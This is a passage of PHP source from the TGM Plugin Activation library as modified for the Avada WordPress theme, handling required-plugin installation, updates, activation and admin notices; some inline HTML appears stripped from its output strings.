$query ) ); exit; } } /** * Correct the .mo file name for (must-use) plugins. * * Themese use `/path/{locale}.mo` while plugins use `/path/{text-domain}-{locale}.mo`. * * {@internal IMPORTANT! If this function changes, review the regex in the custom TGMPA * generator on the website.}} * * @since 2.6.0 * * @param string $mofile Full path to the target mofile. * @param string $domain The domain for which a language file is being loaded. * @return string $mofile */ public function correct_plugin_mofile( $mofile, $domain ) { // Exit early if not our domain (just in case). if ( 'tgmpa' !== $domain ) { return $mofile; } return preg_replace( '`/([a-z]{2}_[A-Z]{2}.mo)$`', '/tgmpa-$1', $mofile ); } /** * Hook in plugin action link filters for the WP native plugins page. * * - Prevent activation of plugins which don't meet the minimum version requirements. * - Prevent deactivation of force-activated plugins. * - Add update notice if update available. * * @since 2.5.0 */ public function add_plugin_action_link_filters() { foreach ( $this->plugins as $slug => $plugin ) { if ( false === $this->can_plugin_activate( $slug ) ) { add_filter( 'plugin_action_links_' . $plugin['file_path'], array( $this, 'filter_plugin_action_links_activate' ), 20 ); } if ( true === $plugin['force_activation'] ) { add_filter( 'plugin_action_links_' . $plugin['file_path'], array( $this, 'filter_plugin_action_links_deactivate' ), 20 ); } if ( false !== $this->does_plugin_require_update( $slug ) ) { add_filter( 'plugin_action_links_' . $plugin['file_path'], array( $this, 'filter_plugin_action_links_update' ), 20 ); } } } /** * Remove the 'Activate' link on the WP native plugins page if the plugin does not meet the * minimum version requirements. * * @since 2.5.0 * * @param array $actions Action links. * @return array */ public function filter_plugin_action_links_activate( $actions ) { unset( $actions['activate'] ); return $actions; } /** * Remove the 'Deactivate' link on the WP native plugins page if the plugin has been set to force activate. * * @since 2.5.0 * * @param array $actions Action links. * @return array */ public function filter_plugin_action_links_deactivate( $actions ) { unset( $actions['deactivate'] ); return $actions; } /** * Add a 'Requires update' link on the WP native plugins page if the plugin does not meet the * minimum version requirements. * * @since 2.5.0 * * @param array $actions Action links. * @return array */ public function filter_plugin_action_links_update( $actions ) { $actions['update'] = sprintf( '%3$s', esc_url( $this->get_tgmpa_status_url( 'update' ) ), esc_attr__( 'This plugin needs to be updated to be compatible with your theme.', 'Avada' ), esc_html__( 'Update Required', 'Avada' ) ); return $actions; } /** * Handles calls to show plugin information via links in the notices. * * We get the links in the admin notices to point to the TGMPA page, rather * than the typical plugin-install.php file, so we can prepare everything * beforehand. * * WP does not make it easy to show the plugin information in the thickbox - * here we have to require a file that includes a function that does the * main work of displaying it, enqueue some styles, set up some globals and * finally call that function before exiting. * * Down right easy once you know how... * * Returns early if not the TGMPA page. * * @since 2.1.0 * * @global string $tab Used as iframe div class names, helps with styling * @global string $body_id Used as the iframe body ID, helps with styling * * @return void Returns early if not the TGMPA page. */ public function admin_init() { if ( ! $this->is_tgmpa_page() ) { return; } if ( isset( $_REQUEST['tab'] ) && 'plugin-information' === $_REQUEST['tab'] ) { // Needed for install_plugin_information(). require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; wp_enqueue_style( 'plugin-install' ); global $tab, $body_id; $body_id = 'plugin-information'; $tab = 'plugin-information'; install_plugin_information(); exit; } } /** * Enqueue thickbox scripts/styles for plugin info. * * Thickbox is not automatically included on all admin pages, so we must * manually enqueue it for those pages. * * Thickbox is only loaded if the user has not dismissed the admin * notice or if there are any plugins left to install and activate. * * @since 2.1.0 */ public function thickbox() { if ( ! get_user_meta( get_current_user_id(), 'tgmpa_dismissed_notice_' . $this->id, true ) ) { add_thickbox(); } } /** * Adds submenu page if there are plugin actions to take. * * This method adds the submenu page letting users know that a required * plugin needs to be installed. * * This page disappears once the plugin has been installed and activated. * * @since 1.0.0 * * @see Avada_TGM_Plugin_Activation::init() * @see Avada_TGM_Plugin_Activation::install_plugins_page() * * @return void Return early if user lacks capability to install a plugin. */ public function admin_menu() { // Make sure privileges are correct to see the page. if ( ! current_user_can( 'install_plugins' ) ) { return; } $args = apply_filters( 'tgmpa_admin_menu_args', array( 'parent_slug' => $this->parent_slug, // Parent Menu slug. 'page_title' => $this->strings['page_title'], // Page title. 'menu_title' => $this->strings['menu_title'], // Menu title. 'capability' => $this->capability, // Capability. 'menu_slug' => $this->menu, // Menu slug. 'function' => array( $this, 'install_plugins_page' ), // Callback. ) ); $this->add_admin_menu( $args ); } /** * Add the menu item. * * {@internal IMPORTANT! If this function changes, review the regex in the custom TGMPA * generator on the website.}} * * @since 2.5.0 * * @param array $args Menu item configuration. */ protected function add_admin_menu( array $args ) { $this->page_hook = add_theme_page( $args['page_title'], $args['menu_title'], $args['capability'], $args['menu_slug'], $args['function'] ); } /** * Echoes plugin installation form. * * This method is the callback for the admin_menu method function. * This displays the admin page and form area where the user can select to install and activate the plugin. * Aborts early if we're processing a plugin installation action. * * @since 1.0.0 * * @return void Aborts early if we're processing a plugin installation action. */ public function install_plugins_page() { // ThemeFusion edit for Avada: correct PHP notice. if ( $this->do_plugin_install() ) { return; } // Store new instance of plugin table in object. $plugin_table = new TGMPA_List_Table; // Return early if processing a plugin installation action. if ( ( ( 'tgmpa-bulk-install' === $plugin_table->current_action() || 'tgmpa-bulk-update' === $plugin_table->current_action() ) && $plugin_table->process_bulk_actions() ) ) { return; } // Force refresh of available plugin information so we'll know about manual updates/deletes. wp_clean_plugins_cache( false ); ?>

    prepare_items(); ?> message ) && is_string( $this->message ) ) { echo wp_kses_post( $this->message ); } ?> views(); ?>
    display(); ?>
    sanitize_key( urldecode( $_GET['plugin'] ) ); if ( ! isset( $this->plugins[ $slug ] ) ) { return false; } // Was an install or upgrade action link clicked? if ( ( isset( $_GET['tgmpa-install'] ) && 'install-plugin' === $_GET['tgmpa-install'] ) || ( isset( $_GET['tgmpa-update'] ) && 'update-plugin' === $_GET['tgmpa-update'] ) ) { $install_type = 'install'; if ( isset( $_GET['tgmpa-update'] ) && 'update-plugin' === $_GET['tgmpa-update'] ) { $install_type = 'update'; } check_admin_referer( 'tgmpa-' . $install_type, 'tgmpa-nonce' ); // Pass necessary information via URL if WP_Filesystem is needed. $url = wp_nonce_url( add_query_arg( array( 'plugin' => urlencode( $slug ), 'tgmpa-' . $install_type => $install_type . '-plugin', ), $this->get_tgmpa_url() ), 'tgmpa-' . $install_type, 'tgmpa-nonce' ); $method = ''; // Leave blank so WP_Filesystem can populate it as necessary. if ( false === ( $creds = request_filesystem_credentials( esc_url_raw( $url ), $method, false, false, array() ) ) ) { return true; } if ( ! WP_Filesystem( $creds ) ) { request_filesystem_credentials( esc_url_raw( $url ), $method, true, false, array() ); // Setup WP_Filesystem. return true; } /* If we arrive here, we have the filesystem. */ // Prep variables for Plugin_Installer_Skin class. $extra = array(); $extra['slug'] = $slug; // Needed for potentially renaming of directory name. $source = $this->get_download_url( $slug ); $api = ( 'repo' === $this->plugins[ $slug ]['source_type'] ) ? $this->get_plugins_api( $slug ) : null; $api = ( false !== $api ) ? $api : null; $url = add_query_arg( array( 'action' => $install_type . '-plugin', 'plugin' => urlencode( $slug ), ), 'update.php' ); if ( ! class_exists( 'Plugin_Upgrader', false ) ) { require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; } $title = ( 'update' === $install_type ) ? $this->strings['updating'] : $this->strings['installing']; $skin_args = array( 'type' => ( 'bundled' !== $this->plugins[ $slug ]['source_type'] ) ? 'web' : 'upload', 'title' => sprintf( $title, $this->plugins[ $slug ]['plugin_name'] ), 'url' => esc_url_raw( $url ), 'nonce' => $install_type . '-plugin_' . $slug, 'plugin' => '', 'api' => $api, 'extra' => $extra, ); unset( $title ); if ( 'update' === $install_type ) { $skin_args['plugin'] = $this->plugins[ $slug ]['file_path']; $skin = new Plugin_Upgrader_Skin( $skin_args ); } else { $skin = new Plugin_Installer_Skin( $skin_args ); } // Create a new instance of Plugin_Upgrader. $upgrader = new Plugin_Upgrader( $skin ); // Perform the action and install the plugin from the $source urldecode(). add_filter( 'upgrader_source_selection', array( $this, 'maybe_adjust_source_dir' ), 1, 3 ); if ( 'update' === $install_type ) { // Inject our info into the update transient. $to_inject = array( $slug => $this->plugins[ $slug ] ); $to_inject[ $slug ]['source'] = $source; $this->inject_update_info( $to_inject ); $upgrader->upgrade( $this->plugins[ $slug ]['file_path'] ); } else { $upgrader->install( $source ); } remove_filter( 'upgrader_source_selection', array( $this, 'maybe_adjust_source_dir' ), 1 ); // Make sure we have the correct file path now the plugin is installed/updated. $this->populate_file_path( $slug ); // Only activate plugins if the config option is set to true and the plugin isn't // already active (upgrade). if ( $this->is_automatic && ! $this->is_plugin_active( $slug ) ) { $plugin_activate = $upgrader->plugin_info(); // Grab the plugin info from the Plugin_Upgrader method. if ( false === $this->activate_single_plugin( $plugin_activate, $slug, true ) ) { return true; // Finish execution of the function early as we encountered an error. } } $this->show_tgmpa_version(); // Display message based on if all plugins are now active or not. if ( $this->is_tgmpa_complete() ) { // ThemeFusion edit for Avada theme: change the return URL to the Fusion Plugin page echo '

    ', esc_html( $this->strings['return'] ), '

    '; echo ''; } else { // ThemeFusion edit for Avada theme: change the return URL to the Fusion Plugin page echo '

    ', esc_html( $this->strings['return'] ), '

    '; } return true; } elseif ( isset( $this->plugins[ $slug ]['file_path'], $_GET['tgmpa-activate'] ) && 'activate-plugin' === $_GET['tgmpa-activate'] ) { // Activate action link was clicked. check_admin_referer( 'tgmpa-activate', 'tgmpa-nonce' ); if ( false === $this->activate_single_plugin( $this->plugins[ $slug ]['file_path'], $slug ) ) { return true; // Finish execution of the function early as we encountered an error. } } return false; } /** * Inject information into the 'update_plugins' site transient as WP checks that before running an update. * * @since 2.5.0 * * @param array $plugins The plugin information for the plugins which are to be updated. */ public function inject_update_info( $plugins ) { $repo_updates = get_site_transient( 'update_plugins' ); if ( ! is_object( $repo_updates ) ) { $repo_updates = new stdClass; } foreach ( $plugins as $slug => $plugin ) { $file_path = $plugin['file_path']; if ( empty( $repo_updates->response[ $file_path ] ) ) { $repo_updates->response[ $file_path ] = new stdClass; } // We only really need to set package, but let's do all we can in case WP changes something. $repo_updates->response[ $file_path ]->slug = $slug; $repo_updates->response[ $file_path ]->plugin = $file_path; $repo_updates->response[ $file_path ]->new_version = $plugin['version']; $repo_updates->response[ $file_path ]->package = $plugin['source']; if ( empty( $repo_updates->response[ $file_path ]->url ) && ! empty( $plugin['external_url'] ) ) { $repo_updates->response[ $file_path ]->url = $plugin['external_url']; } } set_site_transient( 'update_plugins', $repo_updates ); } /** * Adjust the plugin directory name if necessary. * * The final destination directory of a plugin is based on the subdirectory name found in the * (un)zipped source. In some cases - most notably GitHub repository plugin downloads -, this * subdirectory name is not the same as the expected slug and the plugin will not be recognized * as installed. This is fixed by adjusting the temporary unzipped source subdirectory name to * the expected plugin slug. * * @since 2.5.0 * * @param string $source Path to upgrade/zip-file-name.tmp/subdirectory/. * @param string $remote_source Path to upgrade/zip-file-name.tmp. * @param \WP_Upgrader $upgrader Instance of the upgrader which installs the plugin. * @return string $source */ public function maybe_adjust_source_dir( $source, $remote_source, $upgrader ) { if ( ! $this->is_tgmpa_page() || ! is_object( $GLOBALS['wp_filesystem'] ) ) { return $source; } // Check for single file plugins. $source_files = array_keys( $GLOBALS['wp_filesystem']->dirlist( $remote_source ) ); if ( 1 === count( $source_files ) && false === $GLOBALS['wp_filesystem']->is_dir( $source ) ) { return $source; } // Multi-file plugin, let's see if the directory is correctly named. $desired_slug = ''; // Figure out what the slug is supposed to be. if ( false === $upgrader->bulk && ! empty( $upgrader->skin->options['extra']['slug'] ) ) { $desired_slug = $upgrader->skin->options['extra']['slug']; } else { // Bulk installer contains less info, so fall back on the info registered here. foreach ( $this->plugins as $slug => $plugin ) { if ( ! empty( $upgrader->skin->plugin_names[ $upgrader->skin->i ] ) && $plugin['name'] === $upgrader->skin->plugin_names[ $upgrader->skin->i ] ) { $desired_slug = $slug; break; } } unset( $slug, $plugin ); } if ( ! empty( $desired_slug ) ) { $subdir_name = untrailingslashit( str_replace( trailingslashit( $remote_source ), '', $source ) ); if ( ! empty( $subdir_name ) && $subdir_name !== $desired_slug ) { $from_path = untrailingslashit( $source ); $to_path = trailingslashit( $remote_source ) . $desired_slug; if ( true === $GLOBALS['wp_filesystem']->move( $from_path, $to_path ) ) { return trailingslashit( $to_path ); } else { return new WP_Error( 'rename_failed', esc_html__( 'The remote plugin package does not contain a folder with the desired slug and renaming did not work.', 'Avada' ) . ' ' . esc_html__( 'Please contact the plugin provider and ask them to package their plugin according to the WordPress guidelines.', 'Avada' ), array( 'found' => $subdir_name, 'expected' => $desired_slug ) ); } } elseif ( empty( $subdir_name ) ) { return new WP_Error( 'packaged_wrong', esc_html__( 'The remote plugin package consists of more than one file, but the files are not packaged in a folder.', 'Avada' ) . ' ' . esc_html__( 'Please contact the plugin provider and ask them to package their plugin according to the WordPress guidelines.', 'Avada' ), array( 'found' => $subdir_name, 'expected' => $desired_slug ) ); } } return $source; } /** * Activate a single plugin and send feedback about the result to the screen. * * @since 2.5.0 * * @param string $file_path Path within wp-plugins/ to main plugin file. * @param string $slug Plugin slug. * @param bool $automatic Whether this is an automatic activation after an install. Defaults to false. * This determines the styling of the output messages. * @return bool False if an error was encountered, true otherwise. */ protected function activate_single_plugin( $file_path, $slug, $automatic = false ) { if ( $this->can_plugin_activate( $slug ) ) { $activate = activate_plugin( $file_path ); if ( is_wp_error( $activate ) ) { echo '

    ', wp_kses_post( $activate->get_error_message() ), '

    ', '

    ', esc_html( $this->strings['return'] ), '

    '; return false; // End it here if there is an error with activation. } else { if ( ! $automatic ) { // Make sure message doesn't display again if bulk activation is performed // immediately after a single activation. if ( ! isset( $_POST['action'] ) ) { echo '

    ', esc_html( $this->strings['activated_successfully'] ), ' ', esc_html( $this->plugins[ $slug ]['name'] ), '.

    '; } } else { // Simpler message layout for use on the plugin install page. echo '

    ', esc_html( $this->strings['plugin_activated'] ), '

    '; } } } elseif ( $this->is_plugin_active( $slug ) ) { // No simpler message format provided as this message should never be encountered // on the plugin install page. echo '

    ', sprintf( esc_html( $this->strings['plugin_already_active'] ), '' . esc_html( $this->plugins[ $slug ]['name'] ) . '' ), '

    '; } elseif ( $this->does_plugin_require_update( $slug ) ) { if ( ! $automatic ) { // Make sure message doesn't display again if bulk activation is performed // immediately after a single activation. if ( ! isset( $_POST['action'] ) ) { echo '

    ', sprintf( esc_html( $this->strings['plugin_needs_higher_version'] ), '' . esc_html( $this->plugins[ $slug ]['name'] ) . '' ), '

    '; } } else { // Simpler message layout for use on the plugin install page. echo '

    ', sprintf( esc_html( $this->strings['plugin_needs_higher_version'] ), esc_html( $this->plugins[ $slug ]['name'] ) ), '

    '; } } return true; } /** * Echoes required plugin notice. * * Outputs a message telling users that a specific plugin is required for * their theme. If appropriate, it includes a link to the form page where * users can install and activate the plugin. * * Returns early if we're on the Install page. * * @since 1.0.0 * * @global object $current_screen * * @return void Returns early if we're on the Install page. */ public function notices() { // Remove nag on the install page / Return early if the nag message has been dismissed. // ThemeFusion edit for Avada theme: Display nag on plugins page too. if ( $this->is_core_update_page() || get_user_meta( get_current_user_id(), 'tgmpa_dismissed_notice_' . $this->id, true ) || ! current_user_can( apply_filters( 'tgmpa_show_admin_notice_capability', 'publish_posts' ) ) ) { return; } // Store for the plugin slugs by message type. $message = array(); // Initialize counters used to determine plurality of action link texts. $install_link_count = 0; $update_link_count = 0; $activate_link_count = 0; $total_required_action_count = 0; foreach ( $this->plugins as $slug => $plugin ) { // ThemeFusion edit for Avada theme: added ! $plugin['required'] to the conditional if ( $this->is_plugin_active( $slug ) && false === $this->does_plugin_have_update( $slug ) || ! $plugin['required'] ) { continue; } if ( ! $this->is_plugin_installed( $slug ) ) { if ( current_user_can( 'install_plugins' ) ) { $install_link_count++; if ( true === $plugin['required'] ) { $message['notice_can_install_required'][] = $slug; } else { $message['notice_can_install_recommended'][] = $slug; } } if ( true === $plugin['required'] ) { $total_required_action_count++; } } else { if ( ! $this->is_plugin_active( $slug ) && $this->can_plugin_activate( $slug ) ) { if ( current_user_can( 'activate_plugins' ) ) { $activate_link_count++; if ( true === $plugin['required'] ) { $message['notice_can_activate_required'][] = $slug; } else { $message['notice_can_activate_recommended'][] = $slug; } } if ( true === $plugin['required'] ) { $total_required_action_count++; } } if ( $this->does_plugin_require_update( $slug ) || false !== $this->does_plugin_have_update( $slug ) ) { if ( current_user_can( 'update_plugins' ) ) { $update_link_count++; if ( $this->does_plugin_require_update( $slug ) ) { $message['notice_ask_to_update'][] = $slug; } elseif ( false !== $this->does_plugin_have_update( $slug ) ) { $message['notice_ask_to_update_maybe'][] = $slug; } } if ( true === $plugin['required'] ) { $total_required_action_count++; } } } } unset( $slug, $plugin ); // If we have notices to display, we move forward. if ( ! empty( $message ) || $total_required_action_count > 0 ) { krsort( $message ); // Sort messages. $rendered = ''; // As add_settings_error() wraps the final message in a

    and as the final message can't be // filtered, using

    's in our html would render invalid html output. $line_template = '%s'; if ( ! current_user_can( 'activate_plugins' ) && ! current_user_can( 'install_plugins' ) && ! current_user_can( 'update_plugins' ) ) { $rendered = esc_html( $this->strings['notice_cannot_install_activate'] ) . ' ' . esc_html( $this->strings['contact_admin'] ); $rendered .= $this->create_user_action_links_for_notice( 0, 0, 0, $line_template ); } else { // ThemeFusion edit for Avada theme: add a nag title $rendered = '' . esc_html__( 'Install/Activation/Update Of Required Plugin(s) Needed', 'Avada' ) . ''; // If dismissable is false and a message is set, output it now. if ( ! $this->dismissable && ! empty( $this->dismiss_msg ) ) { $rendered .= sprintf( $line_template, wp_kses_post( $this->dismiss_msg ) ); } // Render the individual message lines for the notice. foreach ( $message as $type => $plugin_group ) { $linked_plugins = array(); // Get the external info link for a plugin if one is available. foreach ( $plugin_group as $plugin_slug ) { $linked_plugins[] = $this->get_info_link( $plugin_slug ); } unset( $plugin_slug ); $count = count( $plugin_group ); $linked_plugins = array_map( array( 'TGMPA_Utils', 'wrap_in_em' ), $linked_plugins ); $last_plugin = array_pop( $linked_plugins ); // Pop off last name to prep for readability. $imploded = empty( $linked_plugins ) ? $last_plugin : ( implode( ', ', $linked_plugins ) . ' ' . esc_html_x( 'and', 'plugin A *and* plugin B', 'Avada' ) . ' ' . $last_plugin ); $rendered .= sprintf( $line_template, sprintf( translate_nooped_plural( $this->strings[ $type ], $count, 'tgmpa' ), $imploded, $count ) ); } unset( $type, $plugin_group, $linked_plugins, $count, $last_plugin, $imploded ); $rendered .= $this->create_user_action_links_for_notice( $install_link_count, $update_link_count, $activate_link_count, $line_template ); } // Register the nag messages and prepare them to be processed. add_settings_error( 'tgmpa', 'tgmpa', $rendered, $this->get_admin_notice_class() ); } // Admin options pages already output settings_errors, so this is to avoid duplication. if ( 'options-general' !== $GLOBALS['current_screen']->parent_base && ( 'toplevel_page_avada' !== $GLOBALS['current_screen']->base || Avada()->registration->should_show() ) ) { $this->display_settings_errors(); } } /** * Generate the user action links for the admin notice. * * @since 2.6.0 * * @param int $install_count Number of plugins to install. * @param int $update_count Number of plugins to update. * @param int $activate_count Number of plugins to activate. * @param int $line_template Template for the HTML tag to output a line. * @return string Action links. */ protected function create_user_action_links_for_notice( $install_count, $update_count, $activate_count, $line_template ) { // Setup action links. $action_links = array( 'install' => '', 'update' => '', 'activate' => '', // ThemeFusion edit for Avada theme: delete the dismiss button to make sure FusionCore plugin is updated //'dismiss' => $this->dismissable ? '' . esc_html( $this->strings['dismiss'] ) . '' : '', 'dismiss' => '', ); // ThemeFusion edit for Avada theme: add class="button-primary" and style="margin-top:1em;" $link_template = '%1$s'; if ( current_user_can( 'install_plugins' ) ) { if ( $install_count > 0 ) { $action_links['install'] = sprintf( $link_template, translate_nooped_plural( $this->strings['install_link'], $install_count, 'tgmpa' ), esc_url( $this->get_tgmpa_status_url( 'install' ) ) ); } if ( $update_count > 0 ) { $action_links['update'] = sprintf( $link_template, translate_nooped_plural( $this->strings['update_link'], $update_count, 'tgmpa' ), esc_url( $this->get_tgmpa_status_url( 'update' ) ) ); } } if ( current_user_can( 'activate_plugins' ) && $activate_count > 0 ) { $action_links['activate'] = sprintf( $link_template, translate_nooped_plural( $this->strings['activate_link'], $activate_count, 'tgmpa' ), esc_url( $this->get_tgmpa_status_url( 'activate' ) ) ); } $action_links = apply_filters( 'tgmpa_notice_action_links', $action_links ); $action_links = array_filter( (array) $action_links ); // Remove any empty array items. if ( ! empty( $action_links ) ) { $action_links = sprintf( $line_template, implode( ' | ', $action_links ) ); return apply_filters( 'tgmpa_notice_rendered_action_links', $action_links ); } else { return ''; } } /** * Get admin notice class. * * Work around all the changes to the various admin notice classes between WP 4.4 and 3.7 * (lowest supported version by TGMPA). * * @since 2.6.0 * * @return string */ protected function get_admin_notice_class() { if ( ! empty( $this->strings['nag_type'] ) ) { return 'avada-db-card avada-db-notice ' . sanitize_html_class( strtolower( $this->strings['nag_type'] ) ); } return 'avada-db-card avada-db-notice notice-warning'; } /** * Display settings errors and remove those which have been displayed to avoid duplicate messages showing * * @since 2.5.0 */ protected function display_settings_errors() { global $wp_settings_errors; settings_errors( 'tgmpa' ); foreach ( (array) $wp_settings_errors as $key => $details ) { if ( 'tgmpa' === $details['setting'] ) { unset( $wp_settings_errors[ $key ] ); break; } } } /** * Register dismissal of admin notices. * * Acts on the dismiss link in the admin nag messages. * If clicked, the admin notice disappears and will no longer be visible to this user. * * @since 2.1.0 */ public function dismiss() { if ( isset( $_GET['tgmpa-dismiss'] ) && check_admin_referer( 'tgmpa-dismiss-' . get_current_user_id() ) ) { update_user_meta( get_current_user_id(), 'tgmpa_dismissed_notice_' . $this->id, 1 ); } } /** * Add individual plugin to our collection of plugins. * * If the required keys are not set or the plugin has already * been registered, the plugin is not added. * * @since 2.0.0 * * @param array|null $plugin Array of plugin arguments or null if invalid argument. * @return null Return early if incorrect argument. */ public function register( $plugin ) { if ( empty( $plugin['slug'] ) || empty( $plugin['name'] ) ) { return; } if ( empty( $plugin['slug'] ) || ! is_string( $plugin['slug'] ) || isset( $this->plugins[ $plugin['slug'] ] ) ) { return; } $defaults = array( 'name' => '', // String 'slug' => '', // String 'source' => 'repo', // String 'required' => false, // Boolean 'version' => '', // String 'force_activation' => false, // Boolean 'force_deactivation' => false, // Boolean 'external_url' => '', // String 'is_callable' => '', // String|Array. ); // Prepare the received data. $plugin = wp_parse_args( $plugin, $defaults ); // Standardize the received slug. $plugin['slug'] = $this->sanitize_key( $plugin['slug'] ); // Forgive users for using string versions of booleans or floats for version number. $plugin['version'] = (string) $plugin['version']; $plugin['source'] = empty( $plugin['source'] ) ? 'repo' : $plugin['source']; $plugin['required'] = TGMPA_Utils::validate_bool( $plugin['required'] ); $plugin['force_activation'] = TGMPA_Utils::validate_bool( $plugin['force_activation'] ); $plugin['force_deactivation'] = TGMPA_Utils::validate_bool( $plugin['force_deactivation'] ); // Enrich the received data. $plugin['file_path'] = $this->_get_plugin_basename_from_slug( $plugin['slug'] ); $plugin['source_type'] = $this->get_plugin_source_type( $plugin['source'] ); // Set the class properties. $this->plugins[ $plugin['slug'] ] = $plugin; $this->sort_order[ $plugin['slug'] ] = $plugin['name']; // Should we add the force activation hook ? if ( true === $plugin['force_activation'] ) { $this->has_forced_activation = true; } // Should we add the force deactivation hook ? if ( true === $plugin['force_deactivation'] ) { $this->has_forced_deactivation = true; } } /** * Determine what type of source the plugin comes from. * * @since 2.5.0 * * @param string $source The source of the plugin as provided, either empty (= WP repo), a file path * (= bundled) or an external URL. * @return string 'repo', 'external', or 'bundled' */ protected function get_plugin_source_type( $source ) { if ( 'repo' === $source || preg_match( self::WP_REPO_REGEX, $source ) ) { return 'repo'; } elseif ( preg_match( self::IS_URL_REGEX, $source ) ) { return 'external'; } else { return 'bundled'; } } /** * Sanitizes a string key. * * Near duplicate of WP Core `sanitize_key()`. The difference is that uppercase characters *are* * allowed, so as not to break upgrade paths from non-standard bundled plugins using uppercase * characters in the plugin directory path/slug. Silly them. * * @see https://developer.wordpress.org/reference/hooks/sanitize_key/ * * @since 2.5.0 * * @param string $key String key. * @return string Sanitized key */ public function sanitize_key( $key ) { $raw_key = $key; $key = preg_replace( '`[^A-Za-z0-9_-]`', '', $key ); /** * Filter a sanitized key string. * * @since 2.5.0 * * @param string $key Sanitized key. * @param string $raw_key The key prior to sanitization. */ return apply_filters( 'tgmpa_sanitize_key', $key, $raw_key ); } /** * Amend default configuration settings. * * @since 2.0.0 * * @param array $config Array of config options to pass as class properties. */ public function config( $config ) { $keys = array( 'id', 'default_path', 'has_notices', 'dismissable', 'dismiss_msg', 'menu', 'parent_slug', 'capability', 'is_automatic', 'message', 'strings', ); foreach ( $keys as $key ) { if ( isset( $config[ $key ] ) ) { if ( is_array( $config[ $key ] ) ) { $this->$key = array_merge( $this->$key, $config[ $key ] ); } else { $this->$key = $config[ $key ]; } } } } /** * Amend action link after plugin installation. * * @since 2.0.0 * * @param array $install_actions Existing array of actions. * @return false|array Amended array of actions. */ public function actions( $install_actions ) { // Remove action links on the TGMPA install page. if ( $this->is_tgmpa_page() ) { return false; } return $install_actions; } /** * Flushes the plugins cache on theme switch to prevent stale entries * from remaining in the plugin table. * * @since 2.4.0 * * @param bool $clear_update_cache Optional. Whether to clear the Plugin updates cache. * Parameter added in v2.5.0. */ public function flush_plugins_cache( $clear_update_cache = true ) { wp_clean_plugins_cache( $clear_update_cache ); } /** * Set file_path key for each installed plugin. * * @since 2.1.0 * * @param string $plugin_slug Optional. If set, only (re-)populates the file path for that specific plugin. * Parameter added in v2.5.0. */ public function populate_file_path( $plugin_slug = '' ) { if ( ! empty( $plugin_slug ) && is_string( $plugin_slug ) && isset( $this->plugins[ $plugin_slug ] ) ) { $this->plugins[ $plugin_slug ]['file_path'] = $this->_get_plugin_basename_from_slug( $plugin_slug ); } else { // Add file_path key for all plugins. foreach ( $this->plugins as $slug => $values ) { $this->plugins[ $slug ]['file_path'] = $this->_get_plugin_basename_from_slug( $slug ); } } } /** * Helper function to extract the file path of the plugin file from the * plugin slug, if the plugin is installed. * * @since 2.0.0 * * @param string $slug Plugin slug (typically folder name) as provided by the developer. * @return string Either file path for plugin if installed, or just the plugin slug. */ protected function _get_plugin_basename_from_slug( $slug ) { $keys = array_keys( $this->get_plugins() ); foreach ( $keys as $key ) { if ( preg_match( '|^' . $slug . '/|', $key ) ) { return $key; } } return $slug; } /** * Retrieve plugin data, given the plugin name. * * Loops through the registered plugins looking for $name. If it finds it, * it returns the $data from that plugin. Otherwise, returns false. * * @since 2.1.0 * * @param string $name Name of the plugin, as it was registered. * @param string $data Optional. Array key of plugin data to return. Default is slug. * @return string|boolean Plugin slug if found, false otherwise. */ public function _get_plugin_data_from_name( $name, $data = 'slug' ) { foreach ( $this->plugins as $values ) { if ( $name === $values['name'] && isset( $values[ $data ] ) ) { return $values[ $data ]; } } return false; } /** * Retrieve the download URL for a package. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return string Plugin download URL or path to local file or empty string if undetermined. */ public function get_download_url( $slug ) { $dl_source = ''; switch ( $this->plugins[ $slug ]['source_type'] ) { case 'repo': return $this->get_wp_repo_download_url( $slug ); case 'external': // Avada tweak: Modify the user-agent to be used. add_filter( 'http_headers_useragent', 'avada_user_agent' ); return $this->plugins[ $slug ]['source']; case 'bundled': return $this->default_path . $this->plugins[ $slug ]['source']; } return $dl_source; // Should never happen. } /** * Retrieve the download URL for a WP repo package. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return string Plugin download URL. */ protected function get_wp_repo_download_url( $slug ) { $source = ''; $api = $this->get_plugins_api( $slug ); if ( false !== $api && isset( $api->download_link ) ) { $source = $api->download_link; } return $source; } /** * Try to grab information from WordPress API. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return object Plugins_api response object on success, WP_Error on failure. */ protected function get_plugins_api( $slug ) { static $api = array(); // Cache received responses. if ( ! isset( $api[ $slug ] ) ) { if ( ! function_exists( 'plugins_api' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; } $response = plugins_api( 'plugin_information', array( 'slug' => $slug, 'fields' => array( 'sections' => false ) ) ); $api[ $slug ] = false; if ( is_wp_error( $response ) ) { wp_die( esc_html( $this->strings['oops'] ) ); } else { $api[ $slug ] = $response; } } return $api[ $slug ]; } /** * Retrieve a link to a plugin information page. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return string Fully formed html link to a plugin information page if available * or the plugin name if not. */ public function get_info_link( $slug ) { $name = str_replace( 'Fusion', 'Avada', $this->plugins[ $slug ]['name'] ); // ThemeFusion edit for Avada. if ( ! empty( $this->plugins[ $slug ]['external_url'] ) && preg_match( self::IS_URL_REGEX, $this->plugins[ $slug ]['external_url'] ) ) { $link = sprintf( '%2$s', esc_url( $this->plugins[ $slug ]['external_url'] ), esc_html( $name ) ); } elseif ( 'repo' === $this->plugins[ $slug ]['source_type'] ) { $url = add_query_arg( array( 'tab' => 'plugin-information', 'plugin' => urlencode( $slug ), 'TB_iframe' => 'true', 'width' => '640', 'height' => '500', ), self_admin_url( 'plugin-install.php' ) ); $link = sprintf( '%2$s', esc_url( $url ), esc_html( $name ) ); } else { $link = esc_html( $name ); // No hyperlink. } return $link; } /** * Determine if we're on the TGMPA Install page. * * @since 2.1.0 * * @return boolean True when on the TGMPA page, false otherwise. */ protected function is_tgmpa_page() { return isset( $_GET['page'] ) && $this->menu === $_GET['page']; } /** * Determine if we're on a WP Core installation/upgrade page. * * @since 2.6.0 * * @return boolean True when on a WP Core installation/upgrade page, false otherwise. */ protected function is_core_update_page() { // Current screen is not always available, most notably on the customizer screen. if ( ! function_exists( 'get_current_screen' ) ) { return false; } $screen = get_current_screen(); if ( 'update-core' === $screen->base ) { // Core update screen. return true; } elseif ( 'plugins' === $screen->base && ! empty( $_POST['action'] ) ) { // Plugins bulk update screen. return true; } elseif ( 'update' === $screen->base && ! empty( $_POST['action'] ) ) { // Individual updates (ajax call). return true; } return false; } /** * Retrieve the URL to the 